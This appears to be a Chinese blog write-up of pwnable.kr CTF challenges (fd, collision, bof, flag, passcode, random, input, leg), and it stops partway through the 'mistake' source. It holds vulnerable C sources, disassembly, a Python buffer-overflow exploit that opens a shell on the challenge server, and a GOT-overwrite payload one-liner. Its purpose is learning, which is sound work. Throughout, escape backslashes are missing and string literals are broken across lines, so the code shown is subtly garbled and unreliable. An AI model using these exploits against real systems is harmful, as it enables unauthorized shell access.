zoukankan      html  css  js  c++  java
  • 通过pwnable.kr从零学pwn

    本文链接:http://blog.csdn.net/u012763794/article/details/51992512


    下面的这个地址很多ctf的学习资源都是有推荐的

    挑战地址:http://pwnable.kr/play.php


    fd

    首先不用说给了就直接连上去

    看一下代码


    重要函数:read

    ssize_t read(int fd,void * buf ,size_t count);
    函数说明
    read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。


    还有一个就是linux的文件描述符

    Integer value Name <unistd.h> symbolic constant[1] <stdio.h> file stream[2]
    0 Standard input STDIN_FILENO stdin
    1 Standard output STDOUT_FILENO stdout
    2 Standard error STDERR_FILENO stderr
    那么我们只要控制了fd的值为标准输入,那么buf的值就可以用我们的键盘输入了,

    目标是使fd为0,那么我们传进去的第一个参数就是0x1234,即十进制的4660

    成功get flag



    collision 

    这个也是直接给代码了,先看看代码吧
    #include <stdio.h>
    #include <string.h>
    unsigned long hashcode = 0x21DD09EC;
    unsigned long check_password(const char* p){
            int* ip = (int*)p;
            int i;
            int res=0;
            for(i=0; i<5; i++){
                    res += ip[i];
            }
            return res;
    }
    
    int main(int argc, char* argv[]){
            if(argc<2){
                    printf("usage : %s [passcode]
    ", argv[0]);
                    return 0;
            }
            if(strlen(argv[1]) != 20){
                    printf("passcode length should be 20 bytes
    ");
                    return 0;
            }
    
            if(hashcode == check_password( argv[1] )){
                    system("/bin/cat flag");
                    return 0;
            }
            else
                    printf("wrong passcode.
    ");
            return 0;
    }
    首先要有一个命令行参数,而且长度必须为20
    跟着在check_password里面强制转化为int指针,char占用1位,int4位,那么转化后就是5个数组了,跟那个for循环也是吻合的,那么就是说
    也就是char转化为int后加起来要等于那个十六进制串

    我们随便减一下就好了,看看哪5个加起来等于他就行了

    这个还要是小端模式


    bof 

    代码
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
    	char overflowme[32];
    	printf("overflow me : ");
    	gets(overflowme);	// smash me!
    	if(key == 0xcafebabe){
    		system("/bin/sh");
    	}
    	else{
    		printf("Nah..
    ");
    	}
    }
    int main(int argc, char* argv[]){
    	func(0xdeadbeef);
    	return 0;
    }
    只要覆盖key的值为0xcafebabe就可以了

    用ida打开发现overflowme的基址为ebp-0x2c,即44个字节,再加上ebp和返回地址的8个字节就是52个字节,最后的4个字节覆盖就可以了


    那么最终的利用代码为
    # -*-coding:utf8 -*-
    import socket
    import telnetlib
    import struct
    
    # 将32位的整数转化为字符串(小端模式)
    def p32(val):
    	# <:小端模式  L:unsigned long
    	return struct.pack("<L", val)
    
    def pwn():
    	# 创建一个TCP socket
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	# 连接服务器的9000端口(接收的参数是一个元组)
    	s.connect(("pwnable.kr",9000))
    	# 目标被填充的地址
    	target_addr = p32(0xcafebabe)
    
    	# 构造payload
    	payload = 'A' * 52 + target_addr
    
    	# 向服务器发送数据
    	s.sendall(payload + '
    ')
    	# 创建一个telnet来产生一个控制服务器的shell
    	t = telnetlib.Telnet() 
    	t.sock = s
    	t.interact()
    
    pwn()

    flag


    题目说是逆向任务,linux64位的elf,别人说加了壳,从ida可以看到,我终于从hex看到了

    当然直接notepad++什么的搜索一下, linux有壳的话一般是upx吧,linux一般开源,不需要加壳什么的吧,除了安卓难过


    那么直接 upx -d 解一下, 再用ida打开看到了flag


    点过去


    提交不对,这个只是注释,可能有些字符不可见或者被空格截断了

    再用notepad++搜索一下UPX    果然



    passcode 


    这个难道跨度对于我来说有点大,先看看源码

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
            int passcode1;
            int passcode2;
    
            printf("enter passcode1 : ");
            scanf("%d", passcode1);
            fflush(stdin);
    
            // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
            printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
            printf("checking...
    ");
            if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!
    ");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!
    ");
                    exit(0);
            }
    }
    
    void welcome(){
            char name[100];
            printf("enter you name : ");
            scanf("%100s", name);
            printf("Welcome %s!
    ", name);
    }
    
    int main(){
            printf("Toddler's Secure Login System 1.0 beta.
    ");
    
            welcome();
            login();
    
            // something after login...
            printf("Now I can safely trust you that you have credential :)
    ");
            return 0;
    }

    先熟悉一下汇编代码吧,反正初学嘛

    下面我们可以看到scanf有写取地址符&和没写的区别,有写就是用lea指令,再入栈(最终是栈的地址入栈),没写就直接入栈了(最终是栈地址上对应的值入栈了)

    Dump of assembler code for function main:
       0x08048665 <+0>:     push   %ebp
       0x08048666 <+1>:     mov    %esp,%ebp
       0x08048668 <+3>:     and    $0xfffffff0,%esp
       0x0804866b <+6>:     sub    $0x10,%esp
       0x0804866e <+9>:     movl   $0x80487f0,(%esp)   ;"Toddler's Secure Login System 1.0 beta.
    "入栈
       0x08048675 <+16>:    call   0x8048450 <puts@plt> ;调用put函数
       0x0804867a <+21>:    call   0x8048609 <welcome> ; 调用welcome函数
       0x0804867f <+26>:    call   0x8048564 <login> ;调用login函数
       0x08048684 <+31>:    movl   $0x8048818,(%esp) ;"Now I can safely trust you that you have credential :)"  入栈
       0x0804868b <+38>:    call   0x8048450 <puts@plt> ;调用put函数
       0x08048690 <+43>:    mov    $0x0,%eax  ;返回值为0 
       0x08048695 <+48>:    leave ;相当于 mov %ebp,%esp  pop ebp 这两条指令,用来平衡堆栈
       0x08048696 <+49>:    ret   ;返回
    End of assembler dump.
    
    
    Dump of assembler code for function welcome:
       0x08048609 <+0>:     push   %ebp
       0x0804860a <+1>:     mov    %esp,%ebp
       0x0804860c <+3>:     sub    $0x88,%esp
       0x08048612 <+9>:     mov    %gs:0x14,%eax
       0x08048618 <+15>:    mov    %eax,-0xc(%ebp)
       0x0804861b <+18>:    xor    %eax,%eax
       0x0804861d <+20>:    mov    $0x80487cb,%eax  ;"enter you name : "
       0x08048622 <+25>:    mov    %eax,(%esp)      ;入栈
       0x08048625 <+28>:    call   0x8048420 <printf@plt> ;printf输出
       0x0804862a <+33>:    mov    $0x80487dd,%eax  ;"%100s"的地址
       0x0804862f <+38>:    lea    -0x70(%ebp),%edx ;name局部变量地址
       0x08048632 <+41>:    mov    %edx,0x4(%esp) ;name入栈
       0x08048636 <+45>:    mov    %eax,(%esp) ;"%100s"的地址入栈
       0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数
       0x0804863e <+53>:    mov    $0x80487e3,%eax ;"Welcome %s!
    "字符串地址
       0x08048643 <+58>:    lea    -0x70(%ebp),%edx ;name的首地址
       0x08048646 <+61>:    mov    %edx,0x4(%esp)   ;name首地址入栈
       0x0804864a <+65>:    mov    %eax,(%esp)      ;"Welcome %s!
    "字符串入栈
       0x0804864d <+68>:    call   0x8048420 <printf@plt> ;调用printf函数
       0x08048652 <+73>:    mov    -0xc(%ebp),%eax 
       0x08048655 <+76>:    xor    %gs:0x14,%eax      ;这个应该是跟前面的相对应的吧,暂时不懂什么意思,根据下面的判断应该是跟栈相关的,难道也是堆栈平衡?
       0x0804865c <+83>:    je     0x8048663 <welcome+90>
       0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
       0x08048663 <+90>:    leave
       0x08048664 <+91>:    ret
    End of assembler dump.
    
    Dump of assembler code for function login:
       0x08048564 <+0>:  push   %ebp
       0x08048565 <+1>:  mov    %esp,%ebp
       0x08048567 <+3>:  sub    $0x28,%esp
       0x0804856a <+6>:  mov    $0x8048770,%eax ;"enter passcode1 : "地址
       0x0804856f <+11>: mov    %eax,(%esp) ;入栈
       0x08048572 <+14>: call   0x8048420 <printf@plt> ;调用printf
       0x08048577 <+19>: mov    $0x8048783,%eax ;"%d"的地址
       0x0804857c <+24>: mov    -0x10(%ebp),%edx ;passcode1
       0x0804857f <+27>: mov    %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
       0x08048583 <+31>: mov    %eax,(%esp) ;"%d"的地址入栈
       0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt> ;调用scanf
       0x0804858b <+39>: mov    0x804a02c,%eax ;stdin入栈
       0x08048590 <+44>: mov    %eax,(%esp)
       0x08048593 <+47>: call   0x8048430 <fflush@plt> ;fflush(stdin):刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
       0x08048598 <+52>: mov    $0x8048786,%eax  ;"enter passcode2 : "
       0x0804859d <+57>: mov    %eax,(%esp) ;入栈
       0x080485a0 <+60>: call   0x8048420 <printf@plt> 
       0x080485a5 <+65>: mov    $0x8048783,%eax ;"%d"
       0x080485aa <+70>: mov    -0xc(%ebp),%edx ;passcode2
       0x080485ad <+73>: mov    %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
       0x080485b1 <+77>: mov    %eax,(%esp) ;"%d"入栈
       0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf@plt>
       0x080485b9 <+85>: movl   $0x8048799,(%esp)  ;"checking..."
       0x080485c0 <+92>: call   0x8048450 <puts@plt> ;输出
       0x080485c5 <+97>: cmpl   $0x528e6,-0x10(%ebp) ;passcode1与0x528e6相比
       0x080485cc <+104>:   jne    0x80485f1 <login+141> ;不等就跳到登陆失败
       0x080485ce <+106>:   cmpl   $0xcc07c9,-0xc(%ebp) ;passcode2与0xcc07c9相比
       0x080485d5 <+113>:   jne    0x80485f1 <login+141> ;不等也是跳到登陆失败
       0x080485d7 <+115>:   movl   $0x80487a5,(%esp) ;"Login OK!"
       0x080485de <+122>:   call   0x8048450 <puts@plt>
       0x080485e3 <+127>:   movl   $0x80487af,(%esp) ;"/bin/cat flag"
       0x080485ea <+134>:   call   0x8048460 <system@plt>
       0x080485ef <+139>:   leave  ;平衡堆栈
       0x080485f0 <+140>:   ret    
       0x080485f1 <+141>:   movl   $0x80487bd,(%esp) ;"Login Failed!"
       0x080485f8 <+148>:   call   0x8048450 <puts@plt>
       0x080485fd <+153>:   movl   $0x0,(%esp)
       0x08048604 <+160>:   call   0x8048480 <exit@plt>
    End of assembler dump.


    通过代码发现,name基址在ebp-0x70, 退出welcome函数后login的栈的基本结构跟welcome一致,ebp-0x10,  那么相差0x70-0x10=0x60,即96个地址,name刚好100个字节,那么我们覆盖name的最后4个字节就可以对passcode1的值进行控制,再加上利用scanf函数,就可以对任意的四字节的地址进行写操作,


    python -c "print 'A' * 96 + 'x00xa0x04x08' + '134514147
    '" | ./passcode
    其中0804a00是plt表中printf的地址,因为scanf要输入的是%d, 0x080485e3的十进制就是134514147


    random 

    看看代码

    #include <stdio.h>
    
    int main(){
            unsigned int random;
            random = rand();        // random value!
    
            unsigned int key=0;
            scanf("%d", &key);
    
            if( (key ^ random) == 0xdeadbeef ){
                    printf("Good!
    ");
                    system("/bin/cat flag");
                    return 0;
            }
    
            printf("Wrong, maybe you should try 2^32 cases.
    ");
            return 0;
    }
    就是要我们输入的key跟生成的随机数异或后为0xdeadbeef

    但我们发现没有设置种子(设置种子也要变化啊),每次生成的值都是一样的

    那就好办了,直接跟那个结果异或一下就得出key了



    input


    参考自:https://werewblog.wordpress.com/2016/01/11/pwnable-kr-input/

    代码
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    int main(int argc, char* argv[], char* envp[]){
            printf("Welcome to pwnable.kr
    ");
            printf("Let's see if you know how to give input to program
    ");
            printf("Just give me correct inputs then you will get the flag :)
    ");
    
            // argv
            if(argc != 100) return 0;
            if(strcmp(argv['A'],"x00")) return 0;
            if(strcmp(argv['B'],"x20x0ax0d")) return 0;
            printf("Stage 1 clear!
    ");
    
            // stdio
            char buf[4];
            read(0, buf, 4);
            if(memcmp(buf, "x00x0ax00xff", 4)) return 0;
            read(2, buf, 4);
            if(memcmp(buf, "x00x0ax02xff", 4)) return 0;
            printf("Stage 2 clear!
    ");
    
            // env
            if(strcmp("xcaxfexbaxbe", getenv("xdexadxbexef"))) return 0;
            printf("Stage 3 clear!
    ");
    
            // file
            FILE* fp = fopen("x0a", "r");
            if(!fp) return 0;
            if( fread(buf, 4, 1, fp)!=1 ) return 0;
            if( memcmp(buf, "x00x00x00x00", 4) ) return 0;
            fclose(fp);
            printf("Stage 4 clear!
    ");
    
            // network
            int sd, cd;
            struct sockaddr_in saddr, caddr;
            sd = socket(AF_INET, SOCK_STREAM, 0);
            if(sd == -1){
                    printf("socket error, tell admin
    ");
                    return 0;
            }
            saddr.sin_family = AF_INET;
            saddr.sin_addr.s_addr = INADDR_ANY;
            saddr.sin_port = htons( atoi(argv['C']) );
            if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                    printf("bind error, use another port
    ");
                    return 1;
            }
            listen(sd, 1);
            int c = sizeof(struct sockaddr_in);
            cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
            if(cd < 0){
                    printf("accept error, tell admin
    ");
                    return 0;
            }
            if( recv(cd, buf, 4, 0) != 4 ) return 0;
            if(memcmp(buf, "xdexadxbexef", 4)) return 0;
            printf("Stage 5 clear!
    ");
    
            // here's your flag
            system("/bin/cat flag");
            return 0;
    }


    2016.09.17:好久没去学习了,学习或者写博客的时候将时间也记录一下,方便以后查看回忆

    这一题会检测各种输入是否满足要求,但是觉得有点多条件了,拖了很久了,今天搞一天也要搞明白吧

    Stage 1

    这题我们一关一关过吧,考的是耐心和编程基础什么的

    // argv
            if(argc != 100) return 0;
            if(strcmp(argv['A'],"x00")) return 0;
            if(strcmp(argv['B'],"x20x0ax0d")) return 0;
    首先参数个数要100个,减去程序本身,就是我们输入99个参数

    第二行argv['A']应该跟argv[65]等价的吧,就是我们输入的第10个等于0x00,

    那么第三行就是arg[66]个要等于"x20x0ax0d"


    这里没什么头绪,只能看别人的,这不可见字符怎么传递到参数中呢,原来linux有个函数execve,在<unistd.h>中

    execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。

    int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

    execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。


    来编写我们的第一关的程序,此外我们发现/var/mail目录是777,那我们就在这开干吧

    #include "stdio.h"
    #include "unistd.h"
    
    int main()
    {
    	char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
    	argv['A'] = "x00";
    	argv['B'] = "x20x0ax0d";
    	execve("/home/input/input", argv, NULL);
    
    	return 0;
    }
    传递的参数第一个是程序的路径,后面就是99了,为啥后面加个NULL呢,因为execve参数说明那里是用指针数组传递并以空指针NULL结束

    初始化完成后改一下再去传递给input程序就好了,效果如下:



    Stage 2

    // stdio  
            char buf[4];  
            read(0, buf, 4);  
            if(memcmp(buf, "x00x0ax00xff", 4)) return 0;  
            read(2, buf, 4);  
            if(memcmp(buf, "x00x0ax02xff", 4)) return 0;  
            printf("Stage 2 clear!
    ");

    这里要从标准输入和标准错误中读取要等于这两,只能跟着人家大神来,据说要用pipe,马上去看了一波,这个linux课上讲过的,忘的差不多了

     int pipe(int filedes[2]);

    pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信

    #include "stdio.h"
    #include "unistd.h"
    #include <stdlib.h>
    
    int main()
    {
    	//Stage 1
    	char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
    	argv['A'] = "x00";
    	argv['B'] = "x20x0ax0d";
    
    	//Stage 2
    	int pipe2stdin[2] = {-1, -1};
    	int pip2stderr[2] = {-1, -1};
    	pid_t childpid;
    
    	// 创建两个管道
    	if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
    		perror("Cannot create the pipe");
    		exit(1);
    	}
    
    	// 创建子进程
    	if ((childpid = fork()) < 0)	{
    		perror("Cannot fork");
    		exit(1);
    	}
    
    	// 判断当前在子进程还是父进程
    	if (childpid == 0){
    		/*  子进程 */
    		// 首先关闭管道的读取端
    		close(pipe2stdin[0]);
    		close(pip2stderr[0]);
    		// 写入
    		write(pipe2stdin[1], "x00x0ax00xff", 4);
    		write(pip2stderr[1], "x00x0ax02xff", 4);
    	}else{
    		/* 父进程 */
    		// 首先关闭管道的写入端
    		close(pipe2stdin[1]);
    		close(pip2stderr[1]);
    		// 分别读取到stdin和stderr
    		dup2(pipe2stdin[0], 0);
    		dup2(pip2stderr[0], 2);
    		close(pipe2stdin[0]);
    		close(pip2stderr[0]);
    		execve("/home/input/input", argv, NULL);
    	}
    	return 0;
    }
    结果:



    Stage 3

    // env  
            if(strcmp("xcaxfexbaxbe", getenv("xdexadxbexef"))) return 0;  
            printf("Stage 3 clear!
    ");  

    这里我们execve("/home/input/input",argv,env);   的第三个参数就用到了
    这个搞两行代码就好了





    Stage 4

    // file  
            FILE* fp = fopen("x0a", "r");  
            if(!fp) return 0;  
            if( fread(buf, 4, 1, fp)!=1 ) return 0;  
            if( memcmp(buf, "x00x00x00x00", 4) ) return 0;  
            fclose(fp);  
            printf("Stage 4 clear!
    ");

    看一下那个fread函数吧,上面就是从文件指针的地方读取1个4字节读取到buf,跟着就跟4个0x00比较了,要相等才能绕过


    既然他要读取文件,我们就创建一个文件咯
    FILE* fp = fopen("0x0a", "w");
    	fwrite("x00x00x00x00", 4, 1, fp);
    	fclose(fp);

    还有最后一关奋斗


    Stage 5


    最后一关,有点长啊,先注释熟悉一下代码
    // network
            int sd, cd;
            struct sockaddr_in saddr, caddr;
            // 新建套接字
            sd = socket(AF_INET, SOCK_STREAM, 0);
            if(sd == -1){
                    printf("socket error, tell admin
    ");
                    return 0;
            }
            /*接下来设置一些关键参数*/
            //AF_INET(又称PF_INET)是IPv4网络协议的套接字类型
            saddr.sin_family = AF_INET;
            // 监听所有地址:即0.0.0.0
            saddr.sin_addr.s_addr = INADDR_ANY;
            // 设置监听端口,htons()--"Host to Network Short":主机字节序转化为网络字节序
            // atoi把字符串转换成整型数
            saddr.sin_port = htons( atoi(argv['C']) );
            // 绑定端口(将套接字和指定的端口相连)
            if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                    printf("bind error, use another port
    ");
                    return 1;
            }
            // 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数
            listen(sd, 1);
            int c = sizeof(struct sockaddr_in);
            //用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符,  addr通常是一个指向sockaddr_in变量的指针,    addrlen是结构sockaddr_in的长度。
            cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
            if(cd < 0){
                    printf("accept error, tell admin
    ");
                    return 0;
            }
            //ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);
            //返回读入的字节数,要读入4个字节,并为xdexadxbexef
            if( recv(cd, buf, 4, 0) != 4 ) return 0;
            if(memcmp(buf, "xdexadxbexef", 4)) return 0;
            printf("Stage 5 clear!
    ");

    我们先选一个端口吧,就6666,那么我们就要将argv['C'] = "6666";

    方法1 :我们可以管道符传递数据过去也是可以的

    方法2: 我们是写一个socket客户端,
    // Stage 5
    	// 等待程序前面的东西执行玩
    	sleep(2);
    	int sockfd;
    	struct sockaddr_in server;
    	sockfd = socket(AF_INET, SOCK_STREAM, 0);
    	if (sockfd < 0){
    		perror("Cannot create the socker");
    		exit(1);
    	}
    	// 设置地址和端口,与argv['C']相对应就行
    	server.sin_family = AF_INET;
    	server.sin_addr.s_addr = inet_addr("127.0.0.1");
    	server.sin_port = htons(6666);
    	// 连接本地的服务器
    	if (connect(sockfd, (struct sockaddr*) &server, sizeof(server)))	{
    		perror("Problem connecting");
    		exit(1);
    	}
    	printf("Connected
    ");
    	// 向服务器写数据
    	char buf[4] = "xdexadxbexef";
    	write(sockfd, buf, 4);
    	close(sockfd);


    还有一个问题,flag不在当前目录啊,我们做一个链接就好了,可以简单地理解为快捷方式
    但是mali目录没权限,那只好到/tmp目录去了


    终于搞掂了,也学会了很多linux下的C编程,值了

    完整代码
    #include "stdio.h"
    #include "unistd.h"
    #include <stdlib.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    int main()
    {
            //Stage 1
            char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
            //Stage 3
            char *env[2] = {"xdexadxbexef=xcaxfexbaxbe", NULL};
            argv['A'] = "x00";
            argv['B'] = "x20x0ax0d";
            argv['C'] = "6666";
    
            //Stage 2
            int pipe2stdin[2] = {-1, -1};
            int pip2stderr[2] = {-1, -1};
            pid_t childpid;
    
            //Stage 4
            FILE *fp = fopen("x0a", "w");
            fwrite("x00x00x00x00", 4, 1, fp);
            fclose(fp);
    
            // 创建两个管道
            if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
                    perror("Cannot create the pipe");
                    exit(1);
            }
    
            // 创建子进程
            if ((childpid = fork()) < 0)    {
                    perror("Cannot fork");
                    exit(1);
            }
    
            // 判断当前在子进程还是父进程
            if (childpid == 0){
                    /*  父进程 */
                    // 首先关闭管道的读取端
                    close(pipe2stdin[0]);
                    close(pip2stderr[0]);
                    // 写入
                    write(pipe2stdin[1], "x00x0ax00xff", 4);
                    write(pip2stderr[1], "x00x0ax02xff", 4);
            }else{
                    /* 子进程 */
                    // 首先关闭管道的写入端
                    close(pipe2stdin[1]);
                    close(pip2stderr[1]);
                    // 分别读取到stdin和stderr
                    dup2(pipe2stdin[0], 0);
                    dup2(pip2stderr[0], 2);
                    close(pipe2stdin[0]);
                    close(pip2stderr[0]);
                    execve("/home/input/input", argv, env);
            }
    
            // Stage 5
            // 等待程序前面的东西执行玩
            sleep(2);
            int sockfd;
            struct sockaddr_in server;
            sockfd = socket(AF_INET, SOCK_STREAM, 0);
            if (sockfd < 0){
                    perror("Cannot create the socker");
                    exit(1);
            }
            // 设置地址和端口,与argv['C']相对应就行
            server.sin_family = AF_INET;
            server.sin_addr.s_addr = inet_addr("127.0.0.1");
            server.sin_port = htons(6666);
            // 连接本地的服务器
            if (connect(sockfd, (struct sockaddr*) &server, sizeof(server))){
                    perror("Problem connecting");
                    exit(1);
            }
            printf("Connected
    ");
            // 向服务器写数据
            char buf[4] = "xdexadxbexef";
            write(sockfd, buf, 4);
            close(sockfd);
            return 0;
    }

    leg



    代码
    #include <stdio.h>
    #include <fcntl.h>
    int key1(){
    	asm("mov r3, pc
    ");
    }
    int key2(){
    	asm(
    	"push	{r6}
    "
    	"add	r6, pc, $1
    "
    	"bx	r6
    "
    	".code   16
    "
    	"mov	r3, pc
    "
    	"add	r3, $0x4
    "
    	"push	{r3}
    "
    	"pop	{pc}
    "
    	".code	32
    "
    	"pop	{r6}
    "
    	);
    }
    int key3(){
    	asm("mov r3, lr
    ");
    }
    int main(){
    	int key=0;
    	printf("Daddy has very strong arm! : ");
    	scanf("%d", &key);
    	if( (key1()+key2()+key3()) == key ){
    		printf("Congratz!
    ");
    		int fd = open("flag", O_RDONLY);
    		char buf[100];
    		int r = read(fd, buf, 100);
    		write(0, buf, r);
    	}
    	else{
    		printf("I have strong leg :P
    ");
    	}
    	return 0;
    }

    题目给的gdb的调试文字版
    (gdb) disass main
    Dump of assembler code for function main:
       0x00008d3c <+0>:	push	{r4, r11, lr}
       0x00008d40 <+4>:	add	r11, sp, #8
       0x00008d44 <+8>:	sub	sp, sp, #12
       0x00008d48 <+12>:	mov	r3, #0
       0x00008d4c <+16>:	str	r3, [r11, #-16]
       0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
       0x00008d54 <+24>:	bl	0xfb6c <printf>
       0x00008d58 <+28>:	sub	r3, r11, #16
       0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
       0x00008d60 <+36>:	mov	r1, r3
       0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
       0x00008d68 <+44>:	bl	0x8cd4 <key1>
       0x00008d6c <+48>:	mov	r4, r0
       0x00008d70 <+52>:	bl	0x8cf0 <key2>
       0x00008d74 <+56>:	mov	r3, r0
       0x00008d78 <+60>:	add	r4, r4, r3
       0x00008d7c <+64>:	bl	0x8d20 <key3>
       0x00008d80 <+68>:	mov	r3, r0
       0x00008d84 <+72>:	add	r2, r4, r3
       0x00008d88 <+76>:	ldr	r3, [r11, #-16]
       0x00008d8c <+80>:	cmp	r2, r3
       0x00008d90 <+84>:	bne	0x8da8 <main+108>
       0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
       0x00008d98 <+92>:	bl	0x1050c <puts>
       0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
       0x00008da0 <+100>:	bl	0xf89c <system>
       0x00008da4 <+104>:	b	0x8db0 <main+116>
       0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
       0x00008dac <+112>:	bl	0x1050c <puts>
       0x00008db0 <+116>:	mov	r3, #0
       0x00008db4 <+120>:	mov	r0, r3
       0x00008db8 <+124>:	sub	sp, r11, #8
       0x00008dbc <+128>:	pop	{r4, r11, pc}
       0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
       0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
       0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
       0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
       0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
    End of assembler dump.
    (gdb) disass key1
    Dump of assembler code for function key1:
       0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008cd8 <+4>:	add	r11, sp, #0
       0x00008cdc <+8>:	mov	r3, pc
       0x00008ce0 <+12>:	mov	r0, r3
       0x00008ce4 <+16>:	sub	sp, r11, #0
       0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008cec <+24>:	bx	lr
    End of assembler dump.
    (gdb) disass key2
    Dump of assembler code for function key2:
       0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008cf4 <+4>:	add	r11, sp, #0
       0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
       0x00008cfc <+12>:	add	r6, pc, #1
       0x00008d00 <+16>:	bx	r6
       0x00008d04 <+20>:	mov	r3, pc
       0x00008d06 <+22>:	adds	r3, #4
       0x00008d08 <+24>:	push	{r3}
       0x00008d0a <+26>:	pop	{pc}
       0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
       0x00008d10 <+32>:	mov	r0, r3
       0x00008d14 <+36>:	sub	sp, r11, #0
       0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008d1c <+44>:	bx	lr
    End of assembler dump.
    (gdb) disass key3
    Dump of assembler code for function key3:
       0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008d24 <+4>:	add	r11, sp, #0
       0x00008d28 <+8>:	mov	r3, lr
       0x00008d2c <+12>:	mov	r0, r3
       0x00008d30 <+16>:	sub	sp, r11, #0
       0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008d38 <+24>:	bx	lr
    End of assembler dump.
    (gdb) 

    通过看代码,我们只要保证我们的输入的key等于那三个函数的返回值之和就可以了,
    还有一点是,arm是以r0返回的

    先看key1

      0x00008cdc <+8>:	mov	r3, pc
      0x00008ce0 <+12>:	mov	r0, r3

    pc寄存器,直觉是指向下一条指令的地址啊,查了一下


    由于上面的指令都是四字节的,看地址就知道了

    所以判断是arm模式,那么pc就是当前指令地址+8了


    那么key1就是  0x00008cdc + 8 = 0x00008ce4 


    再看key2

    跳转地址最低位( lsb ) 为0表示 arm 指令;最低位为1表示thumb指令。

    0x00008cfc <+12>:	add	r6, pc, #1
    0x00008d00 <+16>:	bx	r6
    那么这样就使r6最低位为1,那么就转化为thum模式

    那么pc就是当前地址加4了

    就是 0x00008d04 + 4 +4 = 0x00008d0c


    最后看key3

    (gdb) disass key3
    Dump of assembler code for function key3:
       0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008d24 <+4>:	add	r11, sp, #0
       0x00008d28 <+8>:	mov	r3, lr
       0x00008d2c <+12>:	mov	r0, r3
       0x00008d30 <+16>:	sub	sp, r11, #0
       0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008d38 <+24>:	bx	lr
    End of assembler dump.
    (gdb)


    lr寄存器是链接寄存器(link register),是保存着函数的返回地址,即key3的返回地址

    所以key3的返回值就是0x00008d80



    那么最终




    mistake

    #include <stdio.h>
    #include <fcntl.h>
    
    #define PW_LEN 10
    #define XORKEY 1
    
    void xor(char* s, int len){
            int i;
            for(i=0; i<len; i++){
                    s[i] ^= XORKEY;
            }
    }
    
    int main(int argc, char* argv[]){
    
            int fd;
            if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                    printf("can't open password %d
    ", fd);
                    return 0;
            }
    
            printf("do not bruteforce...
    ");
            sleep(time(0)%20);
    
            char pw_buf[PW_LEN+1];
            int len;
            if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                    printf("read error
    ");
                    close(fd);
                    return 0;
            }
    
            char pw_buf2[PW_LEN+1];
            printf("input password : ");
            scanf("%10s", pw_buf2);
    
            // xor your input
            xor(pw_buf2, 10);
    
            if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
